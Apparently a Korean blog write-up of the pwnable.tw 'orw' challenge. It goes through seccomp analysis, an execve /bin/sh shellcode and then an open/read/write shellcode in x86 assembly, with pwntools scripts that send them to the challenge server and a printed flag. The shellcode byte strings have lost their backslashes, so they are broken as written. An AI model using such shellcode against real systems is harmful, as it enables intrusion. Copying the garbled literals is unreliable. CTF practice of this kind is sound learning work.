
flag는 /home/orw/flag에 있고, 오직 open, read, write syscall만 사용할 수 있다고 한다.

ida로 까봤다. orw_seccomp 함수릀 실행시키고 Give my your shellcode를 출력한 뒤 shellcode를 입력 받는다.

orw_seccomp 함수이다. _prct1에 특정 인자 값들을 넣고 실행시키는데 정확히 어떤 목적을 위한 함수인지 모르겠다.
그래서 seccomp에 대해 알아보았다. 간단히 설명하자면 특정 시스템콜만을 허용하기 위한 보안 메커니즘인 것 같다. 그리고 그 방법이 prct1 함수를 이용하는 것이었다.
대충 문제 설명과 같이 open, read, write만 허용하기 위한 함수라고 이해하고 일단 넘어갔다.
이제 그 다음 부분은 문자열 하나 출력해주고 shellcode를 받아서 직접 출력해주는 부분이다.
아마도 내가 shellcode를 직접 만들어야 할 것 같다!

위와 같이 shellcode.c를 작성하고, gcc -o shell shellcode.c로 실행 파일 shell을 만들었다.

실행했더니 쉘을 잘 따낸 것을 확인할 수 있었다.

gdb로 어셈블리 코드를 알아냈다.

그리고 objdump로 main의 opcode를 추출해냈다. 그런데 중간중간 null byte(0x00)이 포함되있는 것이 보인다. 이건 eax를 사용해서 빈 공간이 생기기에 그렇다고 한다. 따라서 eax 대신 al을 사용해주도록 하자. (다른 레지스터 역시 마찬가지)
.global main
main:
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %edx
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
위의 코드로 shellcode.s를 생성하고, 컴파일한 후에 objdump로 opcode를 뽑아냈다.

쉘코드를 완성했다!
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80
위의 쉘코드를 이용해서 exploit 코드를 짜봤다.
from pwn import *
p = remote("chall.pwnable.tw",10001)
#context.log_level = 'debug'
shellcode=b'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80'
p.recvuntil(b':')
p.send(shellcode)
p.interactive()
실패했다! 아무래도 seccomp 때문에 그런 것 같다.
하지만 우리는 flag가 어디에 존재하는 지 알고, open, read, write 함수를 사용할 수 있다!
따라서 flag를 읽어서 출력해주는 shellcode를 작성하면 된다.

system call table은 위의 블로그를 참고했다.

4의 배수를 맞추기 위해서 /home/orw///flag의 hex를 구했다.
.global main
main:
xor eax, eax
xor ecx, ecx
xor edx, edx
push eax
push 0x67616c66
push 0x2f2f2f77
push 0x726f2f65
push 0x6d6f682f
mov ebx, esp
mov al, 0x5
int 0x80
mov ebx, eax
mov ecx, esp
mov dl, 0x64
mov al, 0x3
int 0x80
push 0x1
pop ebx
mov ecx, esp
mov dl, 0x64
mov al, 0x4
int 0x80
이번엔 어셈블리 코드로 위와 같이 작성해주었다. /home/orw//flag를 open하고, 0x64만큼 읽어와서 읽어온 것을 출력해주는 코드이다. 총 3번(open, write, read)의 시스템 콜이 있었고, 각각의 시스템 콜마다 레지스터에 알맞은 값을 넣어주었다.

컴파일하려고 했는데 계속 에러가 떴다! 구글링해보니 intel 문법으로 하면 에러가 뜬다고 한다.

따라서 AT&T 문법으로 수정해주었다.
.global main
main:
xor %eax, %eax
xor %ecx, %ecx
xor %edx, %edx
push %eax
push $0x67616c66
push $0x2f2f2f77
push $0x726f2f65
push $0x6d6f682f
mov %esp, %ebx
mov $0x5, %al
int $0x80
mov %eax, %ebx
mov %esp, %ecx
mov $0x64, %dl
mov $0x3, %al
int $0x80
push $0x1
pop %ebx
mov %esp, %ecx
mov $0x64, %dl
mov $0x4, %al
int $0x80

컴파일해서 objdump로 op code를 얻어냈다.
from pwn import *
p = remote("chall.pwnable.tw",10001)
#context.log_level = 'debug'
shellcode=b'x31xc0x31xc9x31xd2x50x68x66x6cx61x67x68x77x2fx2fx2fx68x65x2fx6fx72x68x2fx68x6fx6dx89xe3xb0x05xcdx80x89xc3x89xe1xb2x64xb0x03xcdx80x6ax01x5bx89xe1xb2x64xb0x04xcdx80'
p.recvuntil(b':')
p.send(shellcode)
p.interactive()
위 shellcode를 보내주기만 하면 끝~

🚩 FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}